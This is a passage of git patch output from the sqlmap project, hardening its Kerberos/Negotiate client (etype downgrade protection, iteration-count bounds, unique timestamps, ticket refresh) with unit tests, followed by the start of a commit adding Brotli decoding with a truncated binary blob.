"55a6ac740ad17b4846941051e1e8b0a7548d93b0ab30a8bc3ff16280382b8c2a"), + ): + key = ENCTYPES[17 if keysize == 16 else 18].string2key("password", "ATHENA.MIT.EDUraeburn", iterations) + self.assertEqual(binascii.hexlify(key).decode(), expected) + + def test_encrypt_decrypt_round_trip(self): + for etype in (17, 18): + enc = ENCTYPES[etype] + key = os.urandom(enc.keysize) + for length in (0, 1, 15, 16, 17, 31, 32, 100): + plaintext = os.urandom(length) + self.assertEqual(enc.decrypt(key, 1024, enc.encrypt(key, 1024, plaintext)), plaintext) + + def test_integrity_check(self): + enc = ENCTYPES[18] + key = os.urandom(32) + ciphertext = bytearray(enc.encrypt(key, 3, b"secret")) + ciphertext[-1] ^= 1 + self.assertRaises(ValueError, enc.decrypt, key, 3, bytes(ciphertext)) + + def test_decrypt_short_ciphertext(self): + # a hostile/truncated enc-part (< blocksize + macsize) must raise ValueError, not IndexError + enc = ENCTYPES[18] + key = os.urandom(32) + for length in (0, 1, 12, 27): + self.assertRaises(ValueError, enc.decrypt, key, 3, os.urandom(length)) + + def test_string2key_bytes_salt(self): + # the salt is opaque octets (RFC 3961): a bytes salt must derive the same key as the str form + enc = ENCTYPES[18] + self.assertEqual(enc.string2key("password", b"ATHENA.MIT.EDUraeburn", 1200), + enc.string2key("password", "ATHENA.MIT.EDUraeburn", 1200)) + + +class TestKerberosRC4(unittest.TestCase): + def test_nt_hash_string2key(self): + # rc4-hmac long-term key is the NT hash: MD4(UTF-16LE(password)) + self.assertEqual(binascii.hexlify(ENCTYPES[23].string2key("password")).decode(), + "8846f7eaee8fb117ad06bdd830b7586c") + + def test_encrypt_decrypt_round_trip(self): + enc = ENCTYPES[23] + key = enc.string2key("Secret123") + for length in (0, 1, 16, 100): + plaintext = os.urandom(length) + self.assertEqual(enc.decrypt(key, 1024, enc.encrypt(key, 1024, plaintext)), plaintext) + + def test_integrity_check(self): + enc = ENCTYPES[23] + key = enc.string2key("x") + ciphertext = bytearray(enc.encrypt(key, 3, b"secret")) + ciphertext[-1] ^= 1 + self.assertRaises(ValueError, enc.decrypt, key, 3, bytes(ciphertext)) + + +class TestKerberosDER(unittest.TestCase): + def test_integer_canonical(self): + for value, expected in ((0, "020100"), (127, "02017f"), (128, "02020080"), + (256, "02020100"), (-1, "0201ff"), (-129, "0202ff7f")): + self.assertEqual(binascii.hexlify(der.integer(value)).decode(), expected) + self.assertEqual(der.decodeInteger(der.peel(der.integer(value))[1]), value) + + def test_application_tags(self): + self.assertEqual(bytearray(der.application(10, der.sequence()))[0], 0x6a) # AS-REQ + self.assertEqual(bytearray(der.application(14, der.sequence()))[0], 0x6e) # AP-REQ + self.assertEqual(bytearray(der.tagged(0, der.integer(1)))[0], 0xa0) # [0] EXPLICIT + + def test_nested_round_trip(self): + pname = der.sequence( + der.tagged(0, der.integer(1)), + der.tagged(1, der.sequenceOf([der.generalString("HTTP"), der.generalString("web.example.com")])), + ) + _, content, _ = der.peel(pname) + fields = dict(der.children(content)) + components = [der.decodeGeneralString(c) for _, c in der.children(der.peel(fields[0xa1])[1])] + self.assertEqual(der.decodeInteger(der.peel(fields[0xa0])[1]), 1) + self.assertEqual(components, ["HTTP", "web.example.com"]) + + +class TestKerberosClient(unittest.TestCase): + def test_malformed_reply_raises_kerberoserror(self): + # a hostile/truncated KDC reply must surface as KerberosError, never a raw parse exception + key, nonce = os.urandom(32), 0x11223344 + for blob in (b"", b"\x7e\x01", b"\x6b\x02\x30\x00", os.urandom(40)): + self.assertRaises(client.KerberosError, client._parseRep, blob, key, 3, nonce, client.AS_REP) + self.assertRaises(client.KerberosError, client._replyEtype, blob) + + def test_etype_info2_best_effort(self): + # a malformed PA-ETYPE-INFO2 must yield no advertised info (fall back to defaults), not crash + self.assertEqual(client._parseEtypeInfo2({12: der.octetString(b"\xff\xff\xff")}), []) + self.assertEqual(client._parseEtypeInfo2({}), []) + + +class TestKerberosDiscovery(unittest.TestCase): + def test_krb5conf(self): + content = ("[realms]\n" + " EXAMPLE.COM = {\n kdc = dc1.example.com:88\n admin_server = dc1.example.com\n }\n" + " OTHER.COM = { kdc = other-dc }\n" + # a nested '{ }' block ahead of 'kdc =' must not truncate the realm section + " NESTED.COM = {\n auth_to_local_names = {\n joe = joe\n }\n kdc = dc.nested.com\n }\n") + handle, path = tempfile.mkstemp() + os.write(handle, content.encode("utf-8")) + os.close(handle) + saved = os.environ.get("KRB5_CONFIG") + os.environ["KRB5_CONFIG"] = path + try: + self.assertEqual(discovery._fromKrb5Conf("EXAMPLE.COM"), "dc1.example.com:88") + self.assertEqual(discovery._fromKrb5Conf("OTHER.COM"), "other-dc") + self.assertEqual(discovery._fromKrb5Conf("NESTED.COM"), "dc.nested.com") + self.assertIsNone(discovery._fromKrb5Conf("MISSING.COM")) + finally: + os.remove(path) + os.environ.pop("KRB5_CONFIG", None) if saved is None else os.environ.__setitem__("KRB5_CONFIG", saved) + + def test_split_host_port(self): + self.assertEqual(discovery._splitHostPort("dc.example.com"), ("dc.example.com", 88)) + self.assertEqual(discovery._splitHostPort("dc.example.com:1088"), ("dc.example.com", 1088)) + self.assertEqual(discovery._splitHostPort("[2001:db8::1]:1088"), ("2001:db8::1", 1088)) + self.assertEqual(discovery._splitHostPort("[2001:db8::1]"), ("2001:db8::1", 88)) + self.assertEqual(discovery._splitHostPort("2001:db8::1"), ("2001:db8::1", 88)) + + def test_srv_parse(self): + header = struct.pack(">HHHHHH", 0x2a2a, 0x8180, 1, 1, 0, 0) + question = _dnsName("_kerberos._tcp.EXAMPLE.COM") + struct.pack(">HH", 33, 1) + rdata = struct.pack(">HHH", 0, 100, 88) + _dnsName("dc.example.com") + answer = b"\xc0\x0c" + struct.pack(">HHIH", 33, 1, 300, len(rdata)) + rdata # name = ptr to question + self.assertEqual(discovery.parseSrv(header + question + answer), [(0, 100, 88, "dc.example.com")]) + + def test_srv_parse_hostile_input(self): + # a compression-pointer cycle (name at offset 12 points to itself) must not hang or crash + cycle = struct.pack(">HHHHHH", 1, 0x8180, 0, 1, 0, 0) + b"\xc0\x0c" + self.assertEqual(discovery.parseSrv(cycle), []) + self.assertEqual(discovery.parseSrv(b""), []) + self.assertEqual(discovery.parseSrv(b"\x00\x00\x81\x80\x00\x00\x00\x05\xff\xff"), []) + + def test_precedence_env_overrides(self): + saved = os.environ.get("SQLMAP_KERBEROS_KDC") + os.environ["SQLMAP_KERBEROS_KDC"] = "10.0.0.1:8888" + try: + self.assertEqual(discovery.discoverKdc("EXAMPLE.COM"), ("10.0.0.1", 8888)) + finally: + os.environ.pop("SQLMAP_KERBEROS_KDC", None) if saved is None else os.environ.__setitem__("SQLMAP_KERBEROS_KDC", saved) + + def test_fallback_to_realm(self): + savedEnv = os.environ.pop("SQLMAP_KERBEROS_KDC", None) + savedCfg = os.environ.get("KRB5_CONFIG") + os.environ["KRB5_CONFIG"] = "/nonexistent/sqlmap-krb5.conf" + savedDns = discovery._fromDnsSrv + discovery._fromDnsSrv = lambda realm: None # avoid real DNS I/O in the test + try: + self.assertEqual(discovery.discoverKdc("CORP.EXAMPLE"), ("corp.example", 88)) + finally: + discovery._fromDnsSrv = savedDns + if savedEnv is not None: + os.environ["SQLMAP_KERBEROS_KDC"] = savedEnv + os.environ.pop("KRB5_CONFIG", None) if savedCfg is None else os.environ.__setitem__("KRB5_CONFIG", savedCfg) + + +if __name__ == "__main__": + unittest.main() From ab881132b87263616496274a9b32bf3abd4667a6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 25 Jul 2026 00:24:52 +0200 Subject: [PATCH 840/853] Hardening Negotiate/Kerberos authentication (#3404) --- extra/kerberos/client.py | 129 ++++++++++++++++++++++++++++-------- extra/kerberos/crypto.py | 13 +++- extra/kerberos/discovery.py | 23 +++++-- lib/request/kerberos.py | 15 +++++ tests/test_kerberos.py | 87 +++++++++++++++++++++++- 5 files changed, 227 insertions(+), 40 deletions(-) diff --git a/extra/kerberos/client.py b/extra/kerberos/client.py index 7616575d11d..f8fe44e7f06 100644 --- a/extra/kerberos/client.py +++ b/extra/kerberos/client.py @@ -10,9 +10,11 @@ # the TGS exchange and AP-REQ follow. Talks to the KDC over TCP (4-byte length framing). # Python 2.7 / 3.x. +import calendar import os import socket import struct +import threading import time from extra.kerberos import der @@ -47,6 +49,14 @@ DEFAULT_ETYPES = (18, 17, 23) # aes256-cts, aes128-cts, rc4-hmac (best first) KDC_TIMEOUT = 10 # seconds for the KDC TCP exchange MAX_KDC_RESPONSE = 8 * 1024 * 1024 # cap on a KDC reply (guards a hostile length prefix) +KERBEROS_TIME_FORMAT = "%Y%m%d%H%M%SZ" # RFC 4120 KerberosTime (always UTC) + +# Bounds on the string-to-key work factor a KDC may ask for. The PA-ETYPE-INFO2 hint carrying it +# arrives on an *unauthenticated* KRB-ERROR, and the field is a full 32 bits, so an absurd value would +# either weaken the derived key against offline guessing or burn hours of CPU (RFC 3962 warns about +# both and recommends configurable bounds). A count of 0 nominally means 2**32, which we cannot honour. +MIN_PBKDF2_ITERATIONS = 4096 # the RFC 3962 default; nothing legitimate is lower +MAX_PBKDF2_ITERATIONS = 1000000 def _enctype(etype): if etype not in ENCTYPES: @@ -87,7 +97,34 @@ def _nonce(): return struct.unpack(">I", os.urandom(4))[0] & 0x7fffffff def _kerberosTime(offsetSeconds=0): - return time.strftime("%Y%m%d%H%M%SZ", time.gmtime(time.time() + offsetSeconds)) + return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(time.time() + offsetSeconds)) + +_timestampLock = threading.Lock() +_lastMicros = -1 + +def _timestamp(): + """(KerberosTime, microseconds) taken from a single clock reading and unique within the process. + + An acceptor's replay cache rejects a repeated (ctime, cusec) for the same principal and service, + and a threaded scan mints an authenticator per request, so the pair must never repeat; a strictly + increasing microsecond counter also keeps cusec inside its INTEGER (0..999999) range by construction. + """ + + global _lastMicros + + with _timestampLock: + micros = max(int(time.time() * 1000000), _lastMicros + 1) + _lastMicros = micros + return time.strftime(KERBEROS_TIME_FORMAT, time.gmtime(micros // 1000000)), micros % 1000000 + +def _expTime(field): + """An [n]-wrapped KerberosTime as epoch seconds (None when absent or unparsable, so an unusual + time format degrades ticket-expiry tracking rather than failing the exchange).""" + + try: + return calendar.timegm(time.strptime(der.decodeGeneralString(der.peel(field)[1]), KERBEROS_TIME_FORMAT)) + except ValueError: + return None def _principalName(nameType, components): return der.sequence( @@ -131,31 +168,56 @@ def _raiseIfError(message): _expString(fields[11]) if 11 in fields else None) return tag, content -def _parseEtypeInfo2(errorFields): - """Extract [(etype, salt, iterations), ...] from a KDC_ERR_PREAUTH_REQUIRED error's PA-ETYPE-INFO2, - telling us which etype/salt/s2kparams the KDC expects for the long-term key.""" +def _etypeHints(methodData): + """Parse a METHOD-DATA TLV (SEQUENCE OF PA-DATA) into PA-ETYPE-INFO2 hints as + {etype: (salt, iterations)}, telling us which etype/salt/s2kparams the KDC expects for the + long-term key. The first entry for an etype wins; a malformed hint yields none (so the caller + falls back to its defaults) rather than raising.""" - out = [] - if 12 not in errorFields: # no e-data - return out + hints = {} try: - methodData = der.peel(errorFields[12])[1] # e-data OCTET STRING -> METHOD-DATA (SEQ OF PA-DATA) for _, paData in der.children(der.peel(methodData)[1]): pa = _fields(paData) if 1 in pa and 2 in pa and _expInteger(pa[1]) == PA_ETYPE_INFO2: info = der.peel(pa[2])[1] # padata-value OCTET STRING -> ETYPE-INFO2 (SEQ OF entry) for _, entry in der.children(der.peel(info)[1]): fields = _fields(entry) - etype = _expInteger(fields[0]) salt = _expOctet(fields[1]) if 1 in fields else None # opaque octets for string2key (RFC 3961), not UTF-8 iterations = None if 2 in fields: raw = bytes(der.peel(fields[2])[1]) # s2kparams: 4-byte BE iteration count for AES iterations = struct.unpack(">I", raw)[0] if len(raw) == 4 else None - out.append((etype, salt, iterations)) + hints.setdefault(_expInteger(fields[0]), (salt, iterations)) except (KeyError, IndexError, ValueError, struct.error): - del out[:] # malformed hint -> fall back to the default etype/salt - return out + hints.clear() # malformed hint -> fall back to the default etype/salt + return hints + +def _preauthHints(errorFields): + """The etype hints carried by a KDC_ERR_PREAUTH_REQUIRED error's e-data (best effort).""" + + if 12 not in errorFields: # no e-data + return {} + try: + return _etypeHints(der.peel(errorFields[12])[1]) # e-data OCTET STRING -> METHOD-DATA + except (KeyError, IndexError, ValueError, struct.error): + return {} + +def _validatedIterations(iterations): + """Refuse a string-to-key work factor outside local policy. The hint is unauthenticated, so a + spoofed count could either cheapen an offline attack on the PA-ENC-TIMESTAMP we are about to send + or stall the scan for hours; failing loudly beats doing either silently.""" + + if iterations is not None and not MIN_PBKDF2_ITERATIONS <= iterations <= MAX_PBKDF2_ITERATIONS: + raise KerberosError(-1, "KDC advertised an out-of-policy string-to-key iteration count (%d)" % iterations) + return iterations + +def _hintFor(hints, etype, salt, chosenSalt): + """Apply the hint for 'etype': its salt (unless the caller pinned one) and its work factor.""" + + advertisedSalt, iterations = hints.get(etype, (None, None)) + if salt is None and advertisedSalt is not None: + chosenSalt = advertisedSalt + return chosenSalt, _validatedIterations(iterations) def _replyEtype(response): """Return the etype of a KDC-REP's enc-part (which etype the KDC used for the client's key).""" @@ -196,6 +258,8 @@ def _parseRep(response, key, usage, expectedNonce, expectedType): "sessionKeyType": _expInteger(keyFields[0]), "etype": repEtype, "crealm": _expString(rep[3]), + # EncKDCRepPart endtime [7]; a scan can outlive the ticket, so the caller can re-fetch + "endtime": _expTime(encKdcRep[7]) if 7 in encKdcRep else None, } except (KeyError, IndexError, ValueError, struct.error): raise KerberosError(-1, "malformed KDC reply") @@ -211,7 +275,8 @@ def _reqBody(realm, snameType, snameComponents, etypes, nonce, cnameComponents=N parts.append(der.tagged(8, der.sequenceOf([der.integer(_) for _ in etypes]))) # etype return der.sequence(*parts) -def _authenticator(crealm, cnameComponents, cksum=None): +def _authenticator(crealm, cnameComponents, cksum=None, seqNumber=None): + ctime, cusec = _timestamp() # both from one clock reading, never repeating parts = [ der.tagged(0, der.integer(PVNO)), der.tagged(1, der.generalString(crealm)), @@ -220,8 +285,10 @@ def _authenticator(crealm, cnameComponents, cksum=None): if cksum is not None: parts.append(der.tagged(3, der.sequence(der.tagged(0, der.integer(cksum[0])), der.tagged(1, der.octetString(cksum[1]))))) - parts.append(der.tagged(4, der.integer(struct.unpack(">I", os.urandom(4))[0] % 1000000))) # cusec - parts.append(der.tagged(5, der.generalizedTime(_kerberosTime()))) # ctime + parts.append(der.tagged(4, der.integer(cusec))) + parts.append(der.tagged(5, der.generalizedTime(ctime))) + if seqNumber is not None: # [7] seq-number, expected of a GSS AP-REQ + parts.append(der.tagged(7, der.integer(seqNumber))) return der.application(2, der.sequence(*parts)) def _apReq(ticket, encAuthenticator, etype, apOptions=b"\x00\x00\x00\x00"): @@ -248,10 +315,10 @@ def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES Follows the standard two-step flow: an initial request without pre-auth learns the KDC's expected etype/salt/iteration-count from PA-ETYPE-INFO2 (so non-default salts and AES-128-only principals work), then a PA-ENC-TIMESTAMP-authenticated request obtains the ticket. Returns - {'ticket': , 'sessionKey': bytes, 'sessionKeyType': int, 'crealm': str}. + {'ticket': , 'sessionKey': bytes, 'sessionKeyType': int, 'crealm': str, + 'endtime': epoch seconds}. 'realm' is used exactly as given (RFC 4120 realms are case-sensitive). """ - realm = realm.upper() chosenSalt = salt if salt is not None else realm + username # 1) probe without pre-auth to discover the etype/salt/iterations (or get the TGT outright) @@ -261,7 +328,10 @@ def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES if tag == der.applicationTag(AS_REP): # KDC issued the ticket without pre-auth etype = _replyEtype(response) # derive the key for the etype the KDC actually used - clientKey = _enctype(etype).string2key(password, chosenSalt) + rep = _fields(der.peel(der.peel(response)[1])[1]) + # the reply's own padata can still carry the salt/iterations of a non-default principal + chosenSalt, iterations = _hintFor(_etypeHints(rep[2]) if 2 in rep else {}, etype, salt, chosenSalt) + clientKey = _enctype(etype).string2key(password, chosenSalt, iterations) return _parseRep(response, clientKey, USAGE_AS_REP_ENCPART, nonce, AS_REP) etype, iterations = etypes[0], None @@ -270,19 +340,21 @@ def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES code = _expInteger(errorFields[6]) if 6 in errorFields else -1 if code != KDC_ERR_PREAUTH_REQUIRED: raise KerberosError(code, _expString(errorFields[11]) if 11 in errorFields else None) - for advertisedEtype, advertisedSalt, advertisedIters in _parseEtypeInfo2(errorFields): - if advertisedEtype in ENCTYPES: - etype = advertisedEtype - iterations = advertisedIters - if salt is None and advertisedSalt is not None: - chosenSalt = advertisedSalt + # the hint is unauthenticated, so it may only choose among the etypes we actually offered, and + # in *our* order of preference rather than the KDC's (otherwise it could force a downgrade) + hints = _preauthHints(errorFields) + for offered in etypes: + if offered in hints and offered in ENCTYPES: + etype = offered break + chosenSalt, iterations = _hintFor(hints, etype, salt, chosenSalt) enc = _enctype(etype) clientKey = enc.string2key(password, chosenSalt, iterations) # 2) authenticated request with PA-ENC-TIMESTAMP under the discovered etype/salt - paTsEnc = der.sequence(der.tagged(0, der.generalizedTime(_kerberosTime())), der.tagged(1, der.integer(0))) + patime, pausec = _timestamp() + paTsEnc = der.sequence(der.tagged(0, der.generalizedTime(patime)), der.tagged(1, der.integer(pausec))) cipher = enc.encrypt(clientKey, USAGE_AS_REQ_PA_ENC_TIMESTAMP, paTsEnc) paData = der.sequence( der.tagged(1, der.integer(PA_ENC_TIMESTAMP)), @@ -296,10 +368,10 @@ def getTGT(realm, username, password, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES def getServiceTicket(tgt, realm, username, serviceComponents, kdcHost, kdcPort=88, etypes=DEFAULT_ETYPES): """Present the TGT in a PA-TGS-REQ AP-REQ to obtain a ticket for the named service. - Returns the same shape as getTGT (the 'ticket' is now the service ticket). + Returns the same shape as getTGT (the 'ticket' is now the service ticket). Cross-realm referrals + are not followed, so 'serviceComponents' must name a service inside 'realm'. """ - realm = realm.upper() enc = _enctype(tgt["sessionKeyType"]) nonce = _nonce() reqBody = _reqBody(realm, NT_SRV_INST, serviceComponents, etypes, nonce) @@ -327,6 +399,7 @@ def spnegoFromTicket(service, realm, username): enc = _enctype(service["sessionKeyType"]) gssChecksum = (GSS_CHECKSUM_TYPE, struct.pack("8 and 23->13 apply) + return struct.pack(" 0: - if content[i] == "{": + while i < len(realms) and depth > 0: + if realms[i] == "{": depth += 1 - elif content[i] == "}": + elif realms[i] == "}": depth -= 1 i += 1 - block = content[start:i - 1] + block = realms[start:i - 1] kdc = re.search(r"(?im)^\s*kdc\s*=\s*(\S+)", block) return kdc.group(1) if kdc else None @@ -135,11 +144,11 @@ def parseSrv(response): offset = _skipName(data, offset) if offset + 10 > len(data): break - rtype, _cls, _ttl, rdlength = struct.unpack(">HHIH", bytes(data[offset:offset + 10])) + rtype, rclass, _ttl, rdlength = struct.unpack(">HHIH", bytes(data[offset:offset + 10])) offset += 10 if offset + rdlength > len(data): break - if rtype == _SRV_TYPE and rdlength >= 6: + if rtype == _SRV_TYPE and rclass == _IN_CLASS and rdlength >= 6: priority, weight, port = struct.unpack(">HHH", bytes(data[offset:offset + 6])) target = _readName(data, offset + 6)[0].rstrip(".") if target: diff --git a/lib/request/kerberos.py b/lib/request/kerberos.py index bd6e23c2be7..66cb6112ac2 100644 --- a/lib/request/kerberos.py +++ b/lib/request/kerberos.py @@ -14,6 +14,7 @@ import base64 import logging import threading +import time from lib.core.common import getSafeExString from lib.core.common import singleTimeLogMessage @@ -27,10 +28,20 @@ from extra.kerberos.client import spnegoFromTicket from extra.kerberos.discovery import discoverKdc +TICKET_REFRESH_SKEW = 300 # re-fetch a ticket this long before it expires + +def _expiring(ticket): + """True for a cached ticket close enough to its expiry to be worth replacing (a scan can easily + run longer than the ticket lifetime, and an expired AP-REQ is rejected by every acceptor).""" + + return ticket is not None and ticket.get("endtime") is not None and time.time() + TICKET_REFRESH_SKEW >= ticket["endtime"] + class HTTPNegotiateAuthHandler(_urllib.request.BaseHandler): handler_order = 480 def __init__(self, realm, username, password, kdcHost=None, kdcPort=None): + # Kerberos realms are case-sensitive, but the credentials arrive in the Windows 'DOMAIN\\user' + # form where the domain is not, so normalize here rather than inside the protocol client self.realm = realm.upper() self.username = username self.password = password @@ -48,6 +59,10 @@ def _serviceTicket(self, host): raise self._tgtFailure if host in self._hostFailures: # this host already failed -> don't retry it raise self._hostFailures[host] + if _expiring(self._tickets.get(host)): # drop a ticket that a long scan has outlived + del self._tickets[host] + if _expiring(self._tgt): + self._tgt = None if host not in self._tickets: if self._tgt is None: if self.kdcHost is None: # krb5.conf / DNS SRV / realm-name discovery diff --git a/tests/test_kerberos.py b/tests/test_kerberos.py index bbc31252da9..86971695e8f 100644 --- a/tests/test_kerberos.py +++ b/tests/test_kerberos.py @@ -15,6 +15,7 @@ import struct import sys import tempfile +import time import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) @@ -26,6 +27,7 @@ from extra.kerberos import discovery from extra.kerberos.aes import AES from extra.kerberos.crypto import ENCTYPES, nfold +from lib.request.kerberos import _expiring def _dnsName(name): @@ -41,6 +43,31 @@ def _h(value): return binascii.unhexlify(value) +def _etypeInfo2Entry(etype, salt=None, iterations=None): + parts = [der.tagged(0, der.integer(etype))] + if salt is not None: + parts.append(der.tagged(1, der.generalString(salt))) + if iterations is not None: + parts.append(der.tagged(2, der.octetString(struct.pack(">I", iterations)))) + return der.sequence(*parts) + + +def _preauthError(entries): + """The error-field map a KDC_ERR_PREAUTH_REQUIRED reply advertising 'entries' would produce.""" + + paData = der.sequence( + der.tagged(1, der.integer(19)), # PA-ETYPE-INFO2 + der.tagged(2, der.octetString(der.sequenceOf(entries))), + ) + return {12: der.octetString(der.sequenceOf([paData]))} + + +def _selectEtype(offered, hints): + """getTGT's etype choice: the client's own preference order, restricted to what it offered.""" + + return next((_ for _ in offered if _ in hints and _ in ENCTYPES), None) + + class TestKerberosAES(unittest.TestCase): def test_fips197_known_answer(self): # FIPS-197 Appendix C.1 (AES-128) and C.3 (AES-256) @@ -168,8 +195,64 @@ def test_malformed_reply_raises_kerberoserror(self): def test_etype_info2_best_effort(self): # a malformed PA-ETYPE-INFO2 must yield no advertised info (fall back to defaults), not crash - self.assertEqual(client._parseEtypeInfo2({12: der.octetString(b"\xff\xff\xff")}), []) - self.assertEqual(client._parseEtypeInfo2({}), []) + self.assertEqual(client._preauthHints({12: der.octetString(b"\xff\xff\xff")}), {}) + self.assertEqual(client._preauthHints({}), {}) + self.assertEqual(client._etypeHints(der.octetString(b"\xff\xff\xff")), {}) + + def test_etype_info2_hints(self): + hints = client._preauthHints(_preauthError([_etypeInfo2Entry(18, "SALT", 4096), + _etypeInfo2Entry(23)])) + self.assertEqual(hints, {18: (b"SALT", 4096), 23: (None, None)}) + + def test_iteration_count_policy(self): + # the hint is unauthenticated: a count that would cheapen an offline attack or stall the scan + # for hours must be refused, and 0 (nominally 2**32) is not silently taken as the default + self.assertIsNone(client._validatedIterations(None)) + self.assertEqual(client._validatedIterations(4096), 4096) + for bogus in (0, 1, 1000, client.MAX_PBKDF2_ITERATIONS + 1, 0xFFFFFFFF): + self.assertRaises(client.KerberosError, client._validatedIterations, bogus) + + def test_hint_cannot_override_pinned_salt(self): + hints = {18: (b"KDCSALT", 4096)} + self.assertEqual(client._hintFor(hints, 18, "PINNED", "PINNED"), ("PINNED", 4096)) + self.assertEqual(client._hintFor(hints, 18, None, "DEFAULT"), (b"KDCSALT", 4096)) + self.assertEqual(client._hintFor(hints, 17, None, "DEFAULT"), ("DEFAULT", None)) + + def test_etype_selection_honours_client_preference(self): + # a spoofed hint must not be able to pull the client onto an etype it never offered, and the + # client's own preference order wins over the KDC's + hints = client._preauthHints(_preauthError([_etypeInfo2Entry(23), _etypeInfo2Entry(18)])) + self.assertEqual(_selectEtype((18, 17), hints), 18) # KDC listed rc4 first + self.assertEqual(_selectEtype((17, 18), hints), 18) # only 18 is hinted + self.assertIsNone(_selectEtype((18, 17), client._preauthHints(_preauthError([_etypeInfo2Entry(23)])))) + + def test_authenticator_timestamps_are_unique(self): + # an acceptor's replay cache keys on (ctime, cusec), and a threaded scan mints one per request + stamps = [client._timestamp() for _ in range(2000)] + self.assertEqual(len(set(stamps)), len(stamps)) + self.assertTrue(all(0 <= cusec <= 999999 for _, cusec in stamps)) + + def test_authenticator_carries_seq_number(self): + # RFC 4121 expects a sequence number in the GSS mechanism's initial AP-REQ authenticator + fields = client._fields(der.peel(der.peel( + client._authenticator("EXAMPLE.COM", ["user"], seqNumber=0x11223344))[1])[1]) + self.assertEqual(client._expInteger(fields[7]), 0x11223344) + self.assertNotIn(7, client._fields(der.peel(der.peel( + client._authenticator("EXAMPLE.COM", ["user"]))[1])[1])) + + def test_kerberos_time_round_trip(self): + self.assertEqual(client._expTime(der.generalizedTime("19700101000010Z")), 10) + self.assertIsNone(client._expTime(der.generalizedTime("not-a-time"))) + + +class TestKerberosTicketCache(unittest.TestCase): + def test_expiring(self): + now = time.time() + self.assertFalse(_expiring(None)) + self.assertFalse(_expiring({"endtime": None})) # a KDC that sent no parsable endtime + self.assertFalse(_expiring({"endtime": now + 36000})) + self.assertTrue(_expiring({"endtime": now - 1})) # already expired + self.assertTrue(_expiring({"endtime": now + 60})) # inside the refresh skew class TestKerberosDiscovery(unittest.TestCase): From a4c983ae0685adf461124bcb06f898f86cfa7c51 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 25 Jul 2026 00:37:19 +0200 Subject: [PATCH 841/853] Adding native Brotli (br) and Zstandard (zstd) response decoding --- data/txt/brotli-dictionary.tx_ | Bin 0 -> 58679 bytes lib/core/common.py | 1 + lib/core/settings.py | 14 +- lib/request/basic.py | 17 +- lib/request/connect.py | 9 +- lib/utils/brotli.py | 652 +++++++++++++++++++++++++++++++++ tests/test_brotli.py | 69 ++++ 7 files changed, 755 insertions(+), 7 deletions(-) create mode 100644 data/txt/brotli-dictionary.tx_ create mode 100644 lib/utils/brotli.py create mode 100644 tests/test_brotli.py diff --git a/data/txt/brotli-dictionary.tx_ b/data/txt/brotli-dictionary.tx_ new file mode 100644 index 0000000000000000000000000000000000000000..b8354d0bdb5c5cac8e367138ff53378eaf50a345 GIT binary patch literal 58679 zcmZshV{jeL*T-*eY}-a-+qP}1Nn_vGcG9>}V>h;aW23Peo6qm{f1X$So!!})-8plx z`#Gu#kWg3v000i~1odM0Yo*q%>Hq*JJca;Z|2J#y>g?`l$7E?|;cn;bWajF_Y;NZy z*nR3sG}^-ax)HT2khX3UJH$N)kW-?8ft8WlCTN46=-CiPk@D2?^nzH@s+nL2Qj$a8 z4GP``sOLh@a8Luuc+JUzqXuycKa;<(j(>F!qCb&eKGlRd;$wjG($fbCdRkm-(xXl0 zj5+aOKx(iZSy*WsSJL^9n!gnJ2;v3`t=}a(LF%!U{1*yJ7|$Oacn(5%!ynPxnTyRa z#Sp}}6m>YendVqJ2x^Na$eK*ouzBJ>eJFZtol|$r9|#4 zE5n|a71@wO8numo?Z;?4=?&{+@BdC2s;K?lW`YgO(=M*R$eh3{N6|b9_XVFo5J%u8 zR>d((%C!?@Q*o_V(Wzw4l~vztH_D4^%@w?u1(HX}kL=VT+9uu<8Hv0;NeE)rIeUC+ zCID3;^YQOfZ*fmZ2d`n~B5xGTLjG8B6)K!e+7fp#z*REPquRgo$SO%i+RdRdXkpU^ zB$Luu?LhU&$*YAm*gK=$5iP>(U@Jnq=>$i!=F&ZGv2QyAtx_bvDYmMA+sg)tFe1N- z72doQ#&iSonO+;VL%GgTi^alG?w0B``(J6Z9MS0O!diIv=_1sAeXB5Fwy%}ajiqee z@hWCTFd{ZBm{`S}UD>8xE#O6V$3HK7T@)5!ly*wO0dm;_zbooNOAQK1n!FXOI-i|9 zqrQ)}trm6{7VEZmpp~qCagr={^hWhglKsS3hR=!m7+Ia#2dp< zaPjfZ0aj>h)rJ=Or6IUb=h1@q8{?#$v}zxltpI92zTp_&_76*qCT4X;ePKPmzY zllgrMs2Y2joZj3-^QUBCJnvOVgeDlZqZY+fN$}nTqQ*idl`4KvJd6|!&r2RfS-ilz zYFdBof@Ld+pst9NLFiZ2kQkhKRh7|4kPd;pa;*r|M?r=gi7h_c5nXW7toc6Sb;$=ONiV^0R*u|qV0X*O}u5YCp7A~)I_1~43?RT=1G9YNnaBJm-{*hhV?2GJ` zM3dZ>j*QLc>*86*Mys@+YA zM?=QZEV8a-;M|RUV%X?@p;>rJcsTlFyGHtfX%+0XT|W%aA#&sP8pA7UmoMi6kQprNtH& z5Pm2OeXDzDjYHog-)^N2MaTD%S~hK)36r6-+~e+8kof!p*}jSG49o1xI>2lQggNY&!{9qI|@GFD$;gOP`weChmzFubWU@ePvAbWF`m5(Fs z+h1|VE&=|;NaFn$EY8!PO#w!+kbj|kun!FM{{%#VDl6zEQmJ%*D&ulq7yL8&XJy-l z+8~|8CWnN7)b&;i`5nVlq{v8A3r})5GVbiD3jUFlAK{f8Obu4V&bc93b~l>rz{$Kv z&Q2ON?LcrzgbCHIUnyOT%tfhJgQ_Bf?jlJGyXO(xHAl z0rg9vjth_stDUEVH4w|B?uf3MV%YDP(vS%6rtMad$Xhv z`CS%mcg69q52mF%hsXJ&+3OA0kH^bVE5FjT=DK!TC;%B21!CoX0^1w<5X;9B{5&llhc7_vJfSc;4#D0#s0JOlOfW_-KbZ=KuAkwF@~cw(`F 